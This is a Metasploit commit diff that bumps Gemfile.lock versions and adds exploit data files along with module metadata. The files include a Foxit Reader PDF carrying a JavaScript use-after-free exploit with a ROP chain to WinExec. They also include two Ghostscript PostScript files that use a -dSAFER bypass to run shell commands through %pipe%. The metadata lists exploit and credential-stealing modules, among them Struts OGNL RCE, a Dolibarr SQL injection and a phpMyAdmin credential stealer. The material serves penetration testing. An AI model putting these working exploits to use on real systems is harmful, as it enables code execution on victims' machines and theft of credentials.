Merge changes from master (ghostscript)
commit
011c25ed59
24
Gemfile.lock
24
Gemfile.lock
|
@ -18,7 +18,7 @@ PATH
|
|||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.3.45)
|
||||
metasploit-payloads (= 1.3.47)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 0.4.1)
|
||||
mqtt
|
||||
|
@ -109,7 +109,7 @@ GEM
|
|||
arel (6.0.4)
|
||||
arel-helpers (2.8.0)
|
||||
activerecord (>= 3.1.0, < 6)
|
||||
backports (3.11.3)
|
||||
backports (3.11.4)
|
||||
bcrypt (3.1.12)
|
||||
bcrypt_pbkdf (1.0.0)
|
||||
bindata (2.4.3)
|
||||
|
@ -125,16 +125,16 @@ GEM
|
|||
docile (1.3.1)
|
||||
erubis (2.7.0)
|
||||
eventmachine (1.2.7)
|
||||
factory_bot (4.11.0)
|
||||
factory_bot (4.11.1)
|
||||
activesupport (>= 3.0.0)
|
||||
factory_bot_rails (4.11.0)
|
||||
factory_bot (~> 4.11.0)
|
||||
factory_bot_rails (4.11.1)
|
||||
factory_bot (~> 4.11.1)
|
||||
railties (>= 3.0.0)
|
||||
faker (1.9.1)
|
||||
i18n (>= 0.7)
|
||||
faraday (0.15.2)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
filesize (0.1.1)
|
||||
filesize (0.2.0)
|
||||
fivemat (1.3.7)
|
||||
hashery (2.1.2)
|
||||
i18n (0.9.5)
|
||||
|
@ -164,7 +164,7 @@ GEM
|
|||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.3.45)
|
||||
metasploit-payloads (1.3.47)
|
||||
metasploit_data_models (3.0.0)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
|
@ -188,7 +188,7 @@ GEM
|
|||
nexpose (7.2.1)
|
||||
nokogiri (1.8.4)
|
||||
mini_portile2 (~> 2.3.0)
|
||||
octokit (4.10.0)
|
||||
octokit (4.12.0)
|
||||
sawyer (~> 0.8.0, >= 0.5.3)
|
||||
openssl-ccm (1.2.1)
|
||||
openvas-omp (0.0.4)
|
||||
|
@ -232,7 +232,7 @@ GEM
|
|||
thor (>= 0.18.1, < 2.0)
|
||||
rake (12.3.1)
|
||||
rb-readline (0.5.5)
|
||||
recog (2.1.20)
|
||||
recog (2.1.22)
|
||||
nokogiri
|
||||
redcarpet (3.4.0)
|
||||
rex-arch (0.1.13)
|
||||
|
@ -307,12 +307,12 @@ GEM
|
|||
rspec-support (3.8.0)
|
||||
ruby-macho (2.0.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby_smb (1.0.3)
|
||||
ruby_smb (1.0.4)
|
||||
bindata
|
||||
rubyntlm
|
||||
windows_error
|
||||
rubyntlm (0.6.2)
|
||||
rubyzip (1.2.1)
|
||||
rubyzip (1.2.2)
|
||||
sawyer (0.8.1)
|
||||
addressable (>= 2.3.5, < 2.6)
|
||||
faraday (~> 0.8, < 1.0)
|
||||
|
@ -370,4 +370,4 @@ DEPENDENCIES
|
|||
yard
|
||||
|
||||
BUNDLED WITH
|
||||
1.16.3
|
||||
1.16.4
|
||||
|
|
|
@ -0,0 +1,125 @@
|
|||
%PDF
|
||||
1 0 obj
|
||||
<</Pages 1 0 R /OpenAction 2 0 R>>
|
||||
2 0 obj
|
||||
<</S /JavaScript /JS (
|
||||
|
||||
var heap_ptr = 0;
|
||||
var foxit_base = 0;
|
||||
var pwn_array = [];
|
||||
|
||||
function prepare_heap(size){
|
||||
var arr = new Array(size);
|
||||
for(var i = 0; i < size; i++){
|
||||
arr[i] = this.addAnnot({type: "Text"});;
|
||||
if (typeof arr[i] == "object"){
|
||||
arr[i].destroy();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function gc() {
|
||||
const maxMallocBytes = 128 * 0x100000;
|
||||
for (var i = 0; i < 3; i++) {
|
||||
var x = new ArrayBuffer(maxMallocBytes);
|
||||
}
|
||||
}
|
||||
|
||||
function alloc_at_leak(){
|
||||
for (var i = 0; i < 0x64; i++){
|
||||
pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));
|
||||
}
|
||||
}
|
||||
|
||||
function control_memory(){
|
||||
for (var i = 0; i < 0x64; i++){
|
||||
for (var j = 0; j < pwn_array[i].length; j++){
|
||||
pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function leak_vtable(){
|
||||
var a = this.addAnnot({type: "Text"});
|
||||
|
||||
a.destroy();
|
||||
gc();
|
||||
|
||||
prepare_heap(0x400);
|
||||
var test = new ArrayBuffer(0x60);
|
||||
var stolen = new Int32Array(test);
|
||||
|
||||
var leaked = stolen[0] & 0xffff0000;
|
||||
foxit_base = leaked - 0x01f50000;
|
||||
}
|
||||
|
||||
function leak_heap_chunk(){
|
||||
var a = this.addAnnot({type: "Text"});
|
||||
a.destroy();
|
||||
prepare_heap(0x400);
|
||||
|
||||
var test = new ArrayBuffer(0x60);
|
||||
var stolen = new Int32Array(test);
|
||||
|
||||
alloc_at_leak();
|
||||
heap_ptr = stolen[1];
|
||||
}
|
||||
|
||||
function reclaim(){
|
||||
var arr = new Array(0x10);
|
||||
for (var i = 0; i < arr.length; i++) {
|
||||
arr[i] = new ArrayBuffer(0x60);
|
||||
var rop = new Int32Array(arr[i]);
|
||||
|
||||
rop[0x00] = heap_ptr; // pointer to our stack pivot from the TypedArray leak
|
||||
rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret
|
||||
rop[0x02] = 0x72727272; // junk
|
||||
rop[0x03] = foxit_base + 0x00001450 // pop ebp; ret
|
||||
rop[0x04] = 0xffffffff; // ret of WinExec
|
||||
rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret
|
||||
rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec
|
||||
rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret
|
||||
rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret
|
||||
rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret
|
||||
rop[0x0a] = foxit_base + 0x0041c6ca; // ret
|
||||
rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret
|
||||
<%= rop %>
|
||||
rop[0x17] = 0x00000000; // adios, amigo
|
||||
}
|
||||
}
|
||||
|
||||
function trigger_uaf(){
|
||||
var that = this;
|
||||
var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});
|
||||
var arr = [1];
|
||||
Object.defineProperties(arr,{
|
||||
"0":{
|
||||
get: function () {
|
||||
|
||||
that.getAnnot(0, "uaf").destroy();
|
||||
|
||||
reclaim();
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
a.point = arr;
|
||||
}
|
||||
|
||||
function main(){
|
||||
leak_heap_chunk();
|
||||
leak_vtable();
|
||||
control_memory();
|
||||
trigger_uaf();
|
||||
}
|
||||
|
||||
if (app.platform == "WIN"){
|
||||
if (app.isFoxit == "Foxit Reader"){
|
||||
if (app.appFoxitVersion == "9.0.1.1049"){
|
||||
main();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
)>> trailer <</Root 1 0 R>>
|
|
@ -0,0 +1,9 @@
|
|||
%!PS
|
||||
userdict /setpagedevice undef
|
||||
a0
|
||||
currentpagedevice /HWResolution get 0 (metasploit) put
|
||||
{ grestore } stopped pop
|
||||
(ppmraw) selectdevice
|
||||
mark /OutputFile (%pipe%echo vulnerable > /dev/tty) currentdevice putdeviceprops
|
||||
{ showpage } stopped pop
|
||||
quit
|
|
@ -0,0 +1,81 @@
|
|||
%!PS
|
||||
% This is ghostscript bug #699687 (split out from bug #699654)
|
||||
|
||||
% ImageMagick define setpagedevice, just remove their definition. This doesn't
|
||||
% do anything if not using ImageMagick.
|
||||
userdict /setpagedevice undef
|
||||
|
||||
% function to check if we're on Linux or Windows
|
||||
/iswindows {
|
||||
% Just checking if paths contain drive
|
||||
null (w) .tempfile closefile 1 get 16#3A eq
|
||||
} def
|
||||
|
||||
% just select a papersize to initialize page device
|
||||
a0
|
||||
|
||||
% The bug is that if you can make grestore or restore fail non-fatally,
|
||||
% LockSafetyParams isn't restored properly. grestore will fail if you set crazy
|
||||
% properties in your pagedevice, like a nonsense resolution.
|
||||
%
|
||||
% Normally it would be something like [72.0 72.0], but you can't just def
|
||||
% HWResolution to something else (for example), because it's readonly:
|
||||
%
|
||||
% GS>currentpagedevice wcheck ==
|
||||
% false
|
||||
%
|
||||
% But you can just put or astore into it, because the array itself is writable:
|
||||
% GS>currentpagedevice /HWResolution get wcheck ==
|
||||
% true
|
||||
%
|
||||
% Lets just put some junk in there.
|
||||
currentpagedevice /HWResolution get 0 (foobar) put
|
||||
|
||||
% This grestore will fail, stopped just catches the error instead of aborting.
|
||||
{ grestore } stopped pop
|
||||
|
||||
% Now LockSafetyParams will be incorrectly unset, you can check like this:
|
||||
% GS>mark currentdevice getdeviceprops .dicttomark /.LockSafetyParams get == pop
|
||||
% false
|
||||
|
||||
% We can change and configure devices now, so make sure we're using one with
|
||||
% a OutputFile property.
|
||||
(ppmraw) selectdevice
|
||||
|
||||
% Check if we're on Windows or UNIX
|
||||
iswindows {
|
||||
% This is Windows, gswin32c.exe supports %pipe%, so you can just run calc.exe.
|
||||
%
|
||||
% The graphical version doesn't seem to support %pipe%, but you can create
|
||||
% arbitrary files. If something is using the api (gs32dll.dll), it may or
|
||||
% may not support %pipe%.
|
||||
|
||||
/getstartupdirwindows {
|
||||
% This figures out startup location from %TEMP% (Tested on Win10)
|
||||
(C:\\USERS\\XXXXXX~1\\STARTM~1\\PROGRAMS\\STARTUP\\)
|
||||
dup 0 null (w) .tempfile closefile 0 18 getinterval putinterval
|
||||
} def
|
||||
|
||||
% (directory) (extension) randfile (result)
|
||||
/randfile {
|
||||
% pick a random filename
|
||||
exch rand 32 string cvs concatstrings exch concatstrings
|
||||
} def
|
||||
|
||||
mark /OutputFile (%pipe%calc.exe) currentdevice putdeviceprops
|
||||
|
||||
% if you need to create files, use txtwrite like this:
|
||||
|
||||
%mark /OutputFile getstartupdirwindows (.bat) randfile
|
||||
% { (txtwrite) selectdevice } stopped pop putdeviceprops setdevice
|
||||
%0 0 moveto
|
||||
%(REM This is an exploit demo\n) show
|
||||
%(calc.exe\n) show
|
||||
} {
|
||||
% This is UNIX, just run a shell command
|
||||
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
|
||||
} ifelse
|
||||
|
||||
{ showpage } stopped pop
|
||||
|
||||
quit
|
|
@ -8491,12 +8491,14 @@
|
|||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Richard Davy - secureyourit.co.uk",
|
||||
"Lnk Creation Code by Mubix"
|
||||
"Lnk Creation Code by Mubix",
|
||||
"asoto-r7"
|
||||
],
|
||||
"description": "This module dependent on the given filename extension creates either\n a .lnk, .scf, .url, desktop.ini file which includes a reference\n to the the specified remote host, causing SMB connections to be initiated\n from any user that views the file.",
|
||||
"description": "This module dependent on the given filename extension creates either\n a .lnk, .scf, .url, .xml, or desktop.ini file which includes a reference\n to the the specified remote host, causing SMB connections to be initiated\n from any user that views the file.",
|
||||
"references": [
|
||||
"URL-https://malicious.link/blog/2012/02/11/ms08_068-ms10_046-fun-until-2018",
|
||||
"URL-https://malicious.link/post/2012/2012-02-19-developing-the-lnk-metasploit-post-module-with-mona/"
|
||||
"URL-https://malicious.link/post/2012/2012-02-19-developing-the-lnk-metasploit-post-module-with-mona/",
|
||||
"URL-https://bohops.com/2018/08/04/capturing-netntlm-hashes-with-office-dot-xml-documents/"
|
||||
],
|
||||
"is_server": false,
|
||||
"is_client": false,
|
||||
|
@ -8504,7 +8506,7 @@
|
|||
"arch": "",
|
||||
"rport": null,
|
||||
"targets": null,
|
||||
"mod_time": "2018-06-10 21:53:40 +0000",
|
||||
"mod_time": "2018-09-05 11:51:48 +0000",
|
||||
"path": "/modules/auxiliary/fileformat/multidrop.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "fileformat/multidrop",
|
||||
|
@ -24622,7 +24624,7 @@
|
|||
"arch": "",
|
||||
"rport": 445,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2018-09-10 15:04:22 +0000",
|
||||
"path": "/modules/auxiliary/scanner/smb/smb_enum_gpp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/smb/smb_enum_gpp",
|
||||
|
@ -25568,7 +25570,7 @@
|
|||
"arch": "",
|
||||
"rport": 22,
|
||||
"targets": null,
|
||||
"mod_time": "2018-08-15 21:27:40 +0000",
|
||||
"mod_time": "2018-09-05 23:10:28 +0000",
|
||||
"path": "/modules/auxiliary/scanner/ssh/fortinet_backdoor.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/ssh/fortinet_backdoor",
|
||||
|
@ -25667,7 +25669,7 @@
|
|||
"arch": "",
|
||||
"rport": 22,
|
||||
"targets": null,
|
||||
"mod_time": "2018-08-22 14:48:06 +0000",
|
||||
"mod_time": "2018-09-05 23:10:28 +0000",
|
||||
"path": "/modules/auxiliary/scanner/ssh/ssh_enumusers.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/ssh/ssh_enumusers",
|
||||
|
@ -27318,7 +27320,7 @@
|
|||
"arch": "",
|
||||
"rport": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2018-04-20 16:34:51 +0000",
|
||||
"path": "/modules/auxiliary/server/capture/ftp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "server/capture/ftp",
|
||||
|
@ -27346,7 +27348,7 @@
|
|||
"arch": "",
|
||||
"rport": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2018-04-20 16:34:51 +0000",
|
||||
"path": "/modules/auxiliary/server/capture/http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "server/capture/http",
|
||||
|
@ -27373,7 +27375,7 @@
|
|||
"arch": "",
|
||||
"rport": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2018-04-20 16:34:51 +0000",
|
||||
"path": "/modules/auxiliary/server/capture/http_basic.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "server/capture/http_basic",
|
||||
|
@ -27401,7 +27403,7 @@
|
|||
"arch": "",
|
||||
"rport": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2018-04-20 16:34:51 +0000",
|
||||
"path": "/modules/auxiliary/server/capture/http_javascript_keylogger.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "server/capture/http_javascript_keylogger",
|
||||
|
@ -27456,7 +27458,7 @@
|
|||
"arch": "",
|
||||
"rport": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2018-04-20 16:34:51 +0000",
|
||||
"path": "/modules/auxiliary/server/capture/imap.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "server/capture/imap",
|
||||
|
@ -27483,7 +27485,7 @@
|
|||
"arch": "",
|
||||
"rport": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2018-04-20 16:34:51 +0000",
|
||||
"path": "/modules/auxiliary/server/capture/mssql.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "server/capture/mssql",
|
||||
|
@ -27510,7 +27512,7 @@
|
|||
"arch": "",
|
||||
"rport": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2018-04-20 16:34:51 +0000",
|
||||
"path": "/modules/auxiliary/server/capture/mysql.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "server/capture/mysql",
|
||||
|
@ -27538,7 +27540,7 @@
|
|||
"arch": "",
|
||||
"rport": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2018-04-20 16:34:51 +0000",
|
||||
"path": "/modules/auxiliary/server/capture/pop3.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "server/capture/pop3",
|
||||
|
@ -27565,7 +27567,7 @@
|
|||
"arch": "",
|
||||
"rport": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2018-04-20 16:34:51 +0000",
|
||||
"path": "/modules/auxiliary/server/capture/postgresql.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "server/capture/postgresql",
|
||||
|
@ -27676,7 +27678,7 @@
|
|||
"arch": "",
|
||||
"rport": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2018-04-20 16:34:51 +0000",
|
||||
"path": "/modules/auxiliary/server/capture/smtp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "server/capture/smtp",
|
||||
|
@ -27703,7 +27705,7 @@
|
|||
"arch": "",
|
||||
"rport": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2018-04-20 16:02:33 +0000",
|
||||
"path": "/modules/auxiliary/server/capture/telnet.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "server/capture/telnet",
|
||||
|
@ -27730,7 +27732,7 @@
|
|||
"arch": "",
|
||||
"rport": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2018-04-20 16:34:51 +0000",
|
||||
"path": "/modules/auxiliary/server/capture/vnc.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "server/capture/vnc",
|
||||
|
@ -29003,6 +29005,36 @@
|
|||
"post_auth": true,
|
||||
"default_credential": true
|
||||
},
|
||||
"auxiliary_sqli/oracle/dolibarr_list_creds": {
|
||||
"name": "Dolibarr List Creds",
|
||||
"full_name": "auxiliary/sqli/oracle/dolibarr_list_creds",
|
||||
"rank": 300,
|
||||
"disclosure_date": "2018-05-30",
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Issam Rabhi",
|
||||
"Kevin Locati",
|
||||
"Shelby Pace"
|
||||
],
|
||||
"description": "This module enables an authenticated user to collect the usernames and encrypted passwords of other users in the Dolibarr ERP/CRM via SQL injection.",
|
||||
"references": [
|
||||
"CVE-2018-10094",
|
||||
"EDB-44805"
|
||||
],
|
||||
"is_server": false,
|
||||
"is_client": false,
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 80,
|
||||
"targets": null,
|
||||
"mod_time": "2018-08-31 08:41:25 +0000",
|
||||
"path": "/modules/auxiliary/sqli/oracle/dolibarr_list_creds.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "sqli/oracle/dolibarr_list_creds",
|
||||
"check": false,
|
||||
"post_auth": true,
|
||||
"default_credential": true
|
||||
},
|
||||
"auxiliary_sqli/oracle/droptable_trigger": {
|
||||
"name": "Oracle DB SQL Injection in MDSYS.SDO_TOPO_DROP_FTBL Trigger",
|
||||
"full_name": "auxiliary/sqli/oracle/droptable_trigger",
|
||||
|
@ -41383,6 +41415,40 @@
|
|||
"post_auth": false,
|
||||
"default_credential": false
|
||||
},
|
||||
"exploit_multi/fileformat/ghostscript_failed_restore": {
|
||||
"name": "Ghostscript Failed Restore Command Execution",
|
||||
"full_name": "exploit/multi/fileformat/ghostscript_failed_restore",
|
||||
"rank": 600,
|
||||
"disclosure_date": "2018-08-21",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Tavis Ormandy",
|
||||
"wvu <wvu@metasploit.com>"
|
||||
],
|
||||
"description": "This module exploits a -dSAFER bypass in Ghostscript to execute\n arbitrary commands by handling a failed restore (grestore) in\n PostScript to disable LockSafetyParams and avoid invalidaccess.\n\n This vulnerability is reachable via libraries such as ImageMagick,\n and this module provides the latest vector for Ghostscript.\n\n For previous Ghostscript vectors, please see the following modules:\n exploit/unix/fileformat/ghostscript_type_confusion\n exploit/unix/fileformat/imagemagick_delegate",
|
||||
"references": [
|
||||
"CVE-2018-16509",
|
||||
"URL-http://seclists.org/oss-sec/2018/q3/142",
|
||||
"URL-https://bugs.chromium.org/p/project-zero/issues/detail?id=1640"
|
||||
],
|
||||
"is_server": false,
|
||||
"is_client": false,
|
||||
"platform": "Linux,Unix,Windows",
|
||||
"arch": "cmd, x86, x64",
|
||||
"rport": null,
|
||||
"targets": [
|
||||
"Unix (In-Memory)",
|
||||
"PowerShell (In-Memory)",
|
||||
"Linux (Dropper)"
|
||||
],
|
||||
"mod_time": "2018-09-07 14:33:25 +0000",
|
||||
"path": "/modules/exploits/multi/fileformat/ghostscript_failed_restore.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/fileformat/ghostscript_failed_restore",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false
|
||||
},
|
||||
"exploit_multi/fileformat/js_unpacker_eval_injection": {
|
||||
"name": "Javascript Injection for Eval-based Unpackers",
|
||||
"full_name": "exploit/multi/fileformat/js_unpacker_eval_injection",
|
||||
|
@ -46116,6 +46182,43 @@
|
|||
"post_auth": false,
|
||||
"default_credential": false
|
||||
},
|
||||
"exploit_multi/http/struts2_namespace_ognl": {
|
||||
"name": "Apache Struts 2 Namespace Redirect OGNL Injection",
|
||||
"full_name": "exploit/multi/http/struts2_namespace_ognl",
|
||||
"rank": 600,
|
||||
"disclosure_date": "2018-08-22",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Man Yue Mo",
|
||||
"hook-s3c",
|
||||
"asoto-r7",
|
||||
"wvu <wvu@metasploit.com>"
|
||||
],
|
||||
"description": "This module exploits a remote code execution vulnerability in Apache Struts\n version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed\n via an endpoint that makes use of a redirect action.\n\n Native payloads will be converted to executables and dropped in the\n server's temp dir. If this fails, try a cmd/* payload, which won't\n have to write to the disk.",
|
||||
"references": [
|
||||
"CVE-2018-11776",
|
||||
"URL-https://lgtm.com/blog/apache_struts_CVE-2018-11776",
|
||||
"URL-https://cwiki.apache.org/confluence/display/WW/S2-057",
|
||||
"URL-https://github.com/hook-s3c/CVE-2018-11776-Python-PoC"
|
||||
],
|
||||
"is_server": true,
|
||||
"is_client": false,
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 8080,
|
||||
"targets": [
|
||||
"Automatic detection",
|
||||
"Windows",
|
||||
"Linux"
|
||||
],
|
||||
"mod_time": "2018-09-07 14:48:33 +0000",
|
||||
"path": "/modules/exploits/multi/http/struts2_namespace_ognl.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/struts2_namespace_ognl",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false
|
||||
},
|
||||
"exploit_multi/http/struts2_rest_xstream": {
|
||||
"name": "Apache Struts 2 REST Plugin XStream RCE",
|
||||
"full_name": "exploit/multi/http/struts2_rest_xstream",
|
||||
|
@ -46146,7 +46249,7 @@
|
|||
"Linux (Dropper)",
|
||||
"Windows (Dropper)"
|
||||
],
|
||||
"mod_time": "2018-08-28 15:56:45 +0000",
|
||||
"mod_time": "2018-08-30 15:55:14 +0000",
|
||||
"path": "/modules/exploits/multi/http/struts2_rest_xstream.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/struts2_rest_xstream",
|
||||
|
@ -50560,7 +50663,7 @@
|
|||
"Atlassian Security Team",
|
||||
"hdm <x@hdm.io>"
|
||||
],
|
||||
"description": "This module exploits a type confusion vulnerability in Ghostscript that can\n be exploited to obtain arbitrary command execution. This vulnerability affects\n Ghostscript version 9.21 and earlier and can be exploited through libraries\n such as ImageMagick and Pillow.",
|
||||
"description": "This module exploits a type confusion vulnerability in Ghostscript that can\n be exploited to obtain arbitrary command execution. This vulnerability affects\n Ghostscript versions 9.21 and earlier and can be exploited through libraries\n such as ImageMagick and Pillow.\n\n For more recent Ghostscript vectors, please see the following modules:\n exploit/multi/fileformat/ghostscript_failed_restore",
|
||||
"references": [
|
||||
"AKA-ghostbutt",
|
||||
"CVE-2017-8291",
|
||||
|
@ -50577,7 +50680,7 @@
|
|||
"targets": [
|
||||
"EPS file"
|
||||
],
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2018-09-05 16:55:46 +0000",
|
||||
"path": "/modules/exploits/unix/fileformat/ghostscript_type_confusion.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "unix/fileformat/ghostscript_type_confusion",
|
||||
|
@ -50594,10 +50697,11 @@
|
|||
"author": [
|
||||
"stewie",
|
||||
"Nikolay Ermishkin",
|
||||
"Tavis Ormandy",
|
||||
"wvu <wvu@metasploit.com>",
|
||||
"hdm <x@hdm.io>"
|
||||
],
|
||||
"description": "This module exploits a shell command injection in the way \"delegates\"\n (commands for converting files) are processed in ImageMagick versions\n <= 7.0.1-0 and <= 6.9.3-9 (legacy).\n\n Since ImageMagick uses file magic to detect file format, you can create\n a .png (for example) which is actually a crafted SVG (for example) that\n triggers the command injection.\n\n The PostScript (PS) target leverages a Ghostscript -dSAFER bypass\n (discovered by taviso) to achieve RCE in the Ghostscript delegate.\n Ghostscript versions 9.18 and later are affected.\n\n If USE_POPEN is set to true, a |-prefixed command will be used for the\n exploit. No delegates are involved in this exploitation.",
|
||||
"description": "This module exploits a shell command injection in the way \"delegates\"\n (commands for converting files) are processed in ImageMagick versions\n <= 7.0.1-0 and <= 6.9.3-9 (legacy).\n\n Since ImageMagick uses file magic to detect file format, you can create\n a .png (for example) which is actually a crafted SVG (for example) that\n triggers the command injection.\n\n The PostScript (PS) target leverages a Ghostscript -dSAFER bypass\n (discovered by taviso) to achieve RCE in the Ghostscript delegate.\n Ghostscript versions 9.18 and later are affected. This target is\n provided as is and will not be updated to track additional vulns.\n\n For more recent Ghostscript vectors, please see the following modules:\n exploit/multi/fileformat/ghostscript_failed_restore\n exploit/unix/fileformat/ghostscript_type_confusion\n\n If USE_POPEN is set to true, a |-prefixed command will be used for the\n exploit. No delegates are involved in this exploitation.",
|
||||
"references": [
|
||||
"CVE-2016-3714",
|
||||
"CVE-2016-7976",
|
||||
|
@ -50606,7 +50710,8 @@
|
|||
"URL-http://seclists.org/oss-sec/2016/q3/682",
|
||||
"URL-https://github.com/ImageMagick/ImageMagick/commit/06c41ab",
|
||||
"URL-https://github.com/ImageMagick/ImageMagick/commit/a347456",
|
||||
"URL-http://permalink.gmane.org/gmane.comp.security.oss.general/19669"
|
||||
"URL-http://permalink.gmane.org/gmane.comp.security.oss.general/19669",
|
||||
"AKA-ImageTragick"
|
||||
],
|
||||
"is_server": true,
|
||||
"is_client": false,
|
||||
|
@ -50618,7 +50723,7 @@
|
|||
"MVG file",
|
||||
"PS file"
|
||||
],
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2018-09-05 16:55:46 +0000",
|
||||
"path": "/modules/exploits/unix/fileformat/imagemagick_delegate.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "unix/fileformat/imagemagick_delegate",
|
||||
|
@ -68491,7 +68596,7 @@
|
|||
"targets": [
|
||||
"Windows 10 Pro x64 Build 17134"
|
||||
],
|
||||
"mod_time": "2018-08-29 10:59:36 +0000",
|
||||
"mod_time": "2018-09-05 21:47:57 +0000",
|
||||
"path": "/modules/exploits/windows/fileformat/foxit_reader_uaf.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/fileformat/foxit_reader_uaf",
|
||||
|
@ -89737,7 +89842,7 @@
|
|||
"targets": [
|
||||
"Windows 7 and Server 2008 R2 (x64) All Service Packs"
|
||||
],
|
||||
"mod_time": "2018-07-10 11:05:00 +0000",
|
||||
"mod_time": "2018-08-29 23:53:58 +0000",
|
||||
"path": "/modules/exploits/windows/smb/ms17_010_eternalblue.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/smb/ms17_010_eternalblue",
|
||||
|
@ -108170,6 +108275,34 @@
|
|||
"post_auth": false,
|
||||
"default_credential": false
|
||||
},
|
||||
"post_linux/gather/phpmyadmin_credsteal": {
|
||||
"name": "Phpmyadmin credentials stealer",
|
||||
"full_name": "post/linux/gather/phpmyadmin_credsteal",
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "post",
|
||||
"author": [
|
||||
"Chaitanya Haritash [bofheaded]",
|
||||
"Dhiraj Mishra <dhiraj@notsosecure.com>"
|
||||
],
|
||||
"description": "This module gathers Phpmyadmin creds from target linux machine.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"is_server": false,
|
||||
"is_client": false,
|
||||
"platform": "Linux",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"targets": null,
|
||||
"mod_time": "2018-09-07 11:13:09 +0000",
|
||||
"path": "/modules/post/linux/gather/phpmyadmin_credsteal.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/gather/phpmyadmin_credsteal",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false
|
||||
},
|
||||
"post_linux/gather/pptpd_chap_secrets": {
|
||||
"name": "Linux Gather PPTP VPN chap-secrets Credentials",
|
||||
"full_name": "post/linux/gather/pptpd_chap_secrets",
|
||||
|
@ -108876,7 +109009,7 @@
|
|||
"arch": "",
|
||||
"rport": null,
|
||||
"targets": null,
|
||||
"mod_time": "2018-07-05 14:33:51 +0000",
|
||||
